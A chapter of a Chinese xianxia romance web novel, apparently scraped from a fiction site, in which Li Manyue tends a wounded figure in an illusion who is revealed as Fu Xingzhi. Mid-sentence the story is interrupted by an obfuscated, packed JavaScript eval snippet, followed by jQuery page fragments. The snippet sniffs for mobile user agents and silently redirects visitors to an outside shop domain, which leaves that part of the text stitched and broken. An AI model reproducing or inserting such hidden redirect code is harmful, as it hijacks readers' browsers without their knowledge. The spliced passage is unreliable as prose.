文趣网 > 其他小说 > 病娇他千方百计攻略我 > 9. 拥抱
    “你身前塞的何物?”

    对面的小姑娘细碎的呜咽戛然而止,哦了下。

    背上的安抚停了。

    她胸前鼓鼓囊囊,肋骨处支出一根长物,低头觑着杵在他腰侧的物件,不好意思地抬头。

    “对不起啊,我怕死,来之前顺了些街上的东西,棍子也是馄饨摊拿的,本来想把幌子也扯过来,盖他们头上,谁让他们不是牛哈哈,不好笑对吧,算了。”

    她开始从怀里往外面掏,包括但不限于:足有头大的铜盆一个、木筷子一双、缺了口的白瓷碗三个。

    腰带塞了一把汤勺。

    看起来,是真的怕死。

    可又为何来救“她”?

    西承遇有些失笑。哑然地望着她,睫羽半垂,一双黝黑的眸子低低审视着,像深稠沼泽地一条爬行的蛇,婉转地攀上李满月周身。

    以符合陈比娥的脆弱缓缓眨着。

    幻象三日等同外界一息,进入的人没有武器和实体,只能随机附身在各式各态的人或物上。

    这几日,他会趁陈比娥熟睡,用她去探路。刘莲儿并不如表面温良,夜里常独自再下暗室,剐下尸油炼制,再化成香,冷静又从容,不似十四五岁,老练得紧。

    他基本可以确认,幻妖要找的是她。千人尸兵,或出自她手。

    可他清晰可见,在李满月眼里对刘莲儿只有心疼,陈比娥更像是分走一切的外来介入者。

    方才他察觉到她路过此处,想是听到了动静,匆匆跑走。

    想不到她会折返。

    不过可以肯定的是,就算此刻真正的陈比娥被救下,也一样不会对李满月有所触动。

    世人的算计常以施恩为雏形。

    他不是也这样么。

    但他还是听见自己鬼使神差的,用陈比娥的口吻道:“…….多谢。”

    李满月抽噎两下,指了指街边的铺子,“你先跟我来,我们找个躲雨的地方。”

    外面瓢泼大雨,夜里鲜少有人走动,更何况这里是城郊,她拉起他的手,走出巷子口。

    在路过一地尸体时,足靴一顿,飞速捡起他们手上的钱财,虚着眼加速步伐,离开了这里。

    到檐下,她细细擦了遍脸,昏黑的夜里,她十指抖颤着,去撕衣角,同时偏头道:

    “我现在给你包扎,等会儿我还要去其他地方,你应该熟悉这里的路,你找到药铺,让他们给你处理一下,伤口不要感染了。”

    “我…”李满月有些难为情,但又竭力撑着,用思想品德课的知识尝试安慰对方,

    “遇到这种事情可以寻求帮助,相信会有很多人挺身而出的,当然,你稳住他们能做到不激怒对方,还能保住性命,也是十分明智的做法,我知道你也很害怕,既然发生了,不如就当被狗啃了,我们好好爱惜身子,活下去才是最重要的,还有啊,你…”

    她还是没能忍住,“你是不是和刘老板在一起了?”

    话一出口,她有些懊悔地拧眉:

    “这样是很不好的,你把钱还给他们,顺便再看看自己的病吧,莲儿救了你,不能这样对她……”

    她没能及时望见面前人眼底的风暴,用浸湿了的布去缠紧“陈比娥”的腰。

    尽量像个能处理好一切突发情况的大人,在人鬼莫测的世界里,维护好内心的一尺三寸地。

    她突然后悔跟爸爸吵架。

    眼泪像珠子一样,颗颗掉在“陈比娥”的肩上,在这稀奇古怪的乱象,她没有可以依靠的人,连傅行止也没了踪影。

    在古代好不容易建立的安全感短短几日悉数崩塌,面对被她撞破一堆秘密的“陈比娥”,忍不住吐槽:

    “你怎么不说话?是不是我话太多了,不像小郎君。”

    “尚可。”

    李满月怔怔地看过去,盯了须臾,笑出了鼻涕泡,“你这两个字两个字的往外蹦,好像我的一个朋友。”

    西承遇笑意淡淡,无甚情绪,“是么?”

    她点点头,“严格来说,我们还没成为朋友,不过那个小道长可厉害了,要是他在……”

    “他在,会怎样?”

    “他会保护我们的。”她笃定地说。更重要的,她可能会回来一丢丢安全感。

    她自觉说得太多,有些耽误去找师千机,便站起身,认真地看着陈比娥:“其实,刚刚那些安慰你的话,我都做不到。”

    她没有求助过,对方也不会因为求饶放过她。可是如果重来的话,她还是会站出来。她保护了别人,总有一天,也会有人保护当初的她吧。

    童年的雨夜混着无止尽的抽打,生意场上的失意让李趋同酗酒成瘾,逢赌必输就靠打她撒气。

    她实在讨厌雷雨天。

    要不是那天她忍不住反抗了一次,导致被砸破脑袋,也不会昏昏沉沉被车撞。

    差点以为,幸福唾手可及。

    她深吸一口气,迈下台阶,手腕被人拉住,往回扯。

    她猝不及防跌了下去,后领口一紧,像提小鸡崽一样拎她到台阶坐稳,危险而懒散的腔调响起:“李满月,我改变了既定的轨迹,第一次幻象要结束了。”

    “!”李满月悚然一惊,哆哆嗦嗦指问道:“你怎么知道我的名字?”

    这语气,也太熟悉了吧!

    除了他,没有人会这么没礼貌。

    她心里冒出一个不可思议的猜测,喉咙一滚,艰难道:“傅,行,止?”

    “嗯。”

    “真的是你!”

    李满月顶着赵弗若的皮囊,憨在原地,猛地吸溜了下鼻涕,想也不想的信了。

    她惊讶又惊喜地睁大眼,凑近想拉他,手僵在半空,还是自觉地收了回去,“你竟然也来了,我还以为你在外面,和幻妖搏斗,他们让我去找你我正愁呢,太好了!”

    她自然而然地忽略了他来的时机。她没有问,他也就不必答。

    西承遇没什么表情,支起眼皮,面色逐渐发白,“你现在找到了,还去其他地方么?”

    雨丝贴在李满月脸上,她拨开额前湿发,点点头,严肃地说:“要去的,等下刘莲儿把师千机烧掉怎么办?虽然这里是幻象,可是看着自己被活生生烧死该多痛啊。”

    “岂不正好。”西承遇捂着伤口,那里还在流血,这个贯穿伤,包再严实也无用,今夜陈比娥

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544050|204046||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    注定会提前赴死。

    “正好我们也要失败了。”

    “啊?”

    李满月晃了一瞬,怔忪着去按他的肩膀绕后看,原先绑好的布染红了一片,可他呼吸平稳,神色不见半分端倪,看起来不像要——

    手掌突然被按住。

    李满月的心也跟着颤了一下,方才初次杀.人后强装的镇定再也掩饰不住,她努力地眨眨眼。

    下方泛着些潮气的眼睫,在陈比娥原本就妖娆妩媚的脸上更添邪戾,几乎是直逼过来,仰头笑问道:“你很怕我死?”

    腿脚一酸,她重重地吸了几口气,“我怕,你就不死了吗?”

    对方没有回话。

    既然他说了,必然是到回天乏术的危局。

    “你死了,魂魄还能不能留在这里,继续和我们一起?或者说,这里是一人改变,所有人全部重新轮回的那种玩法?”

    “后者。”看她还要再说,西承遇出声打断,松开了她,“现在你可以去找师千机了,看看刘莲儿在哪儿,她才是破除万象虚妄的关键。”

    剩下两次机会,必须一击即中,阿姐素来不屑歪风,璇玑镜在赵弗若这等人手中损耗,无疑是对傅家的羞辱。自然,如若异鬼一事被她知晓......

    他双手撑在石阶上,轻轻敲击着。

    凡人的生命在一点一点流逝,他却并不感到痛苦,天生金丹,不灭则肉身不毁,这点脏腑撕裂绵延到背脊,爬至神经头晕模糊的感觉,让他很新奇。

    以往受伤都不曾有过的体验。

    他不由得转头,看向身边低头盘思的人。异鬼原本是地灵族为了进入冥界献诚的器皿,可食万法排魔气,这样特殊的用途,偏偏赋予给李满月。

    她死的时候,会痛哭、恐惧,或是慌张、兴奋吗?

    一道疏淡的目光静静地放在李满月脸上,自下往上伸出了手,往她的脖子靠去。

    她骤然回眸,瞥见他的动作,略吃惊地啊了下,抓着他的小臂,不识好歹地握了过来。

    腰腹的绞痛让他肌肉一酸,没能立时躲开,结结实实贴上一个人,西承遇慢慢蹙起了眉。

    “傅行止,你的手好僵,你是不是要不见了?”

    她正视着前方,看起来不打算扭头,“你放心,我哪里都不会去的,我在这里,陪着你。”

    西承遇唇角一勾,“你倒是安静,不为我哭一场?”

    李满月忽地张手递向外面,接了些雨水拢在掌心,聚成一汪世间最小的湖泊,她小心翼翼地往内包住,给西承遇看。

    “喏,这是人工湖,送你的,给它命个名吧。”

    “传说有位神仙路过瑶池,随手一接撒向人间,从此世间不会有人再哭泣。”

    “那就叫满月湖。”

    西承遇再没气力,随口应道。

    他说完之后,心脏被枯竭筋脉攥到发紧,头脑一片昏沉,眼皮沉重到渐渐抬不起,坠入无尽深渊。

    阖眸的瞬间,水珠混着一个滚烫的拥抱将他拢入怀里,对方浑身发抖。

    这是陈比娥生前最后一次被干净的触碰。

    是西承遇人生中,第一个拥抱。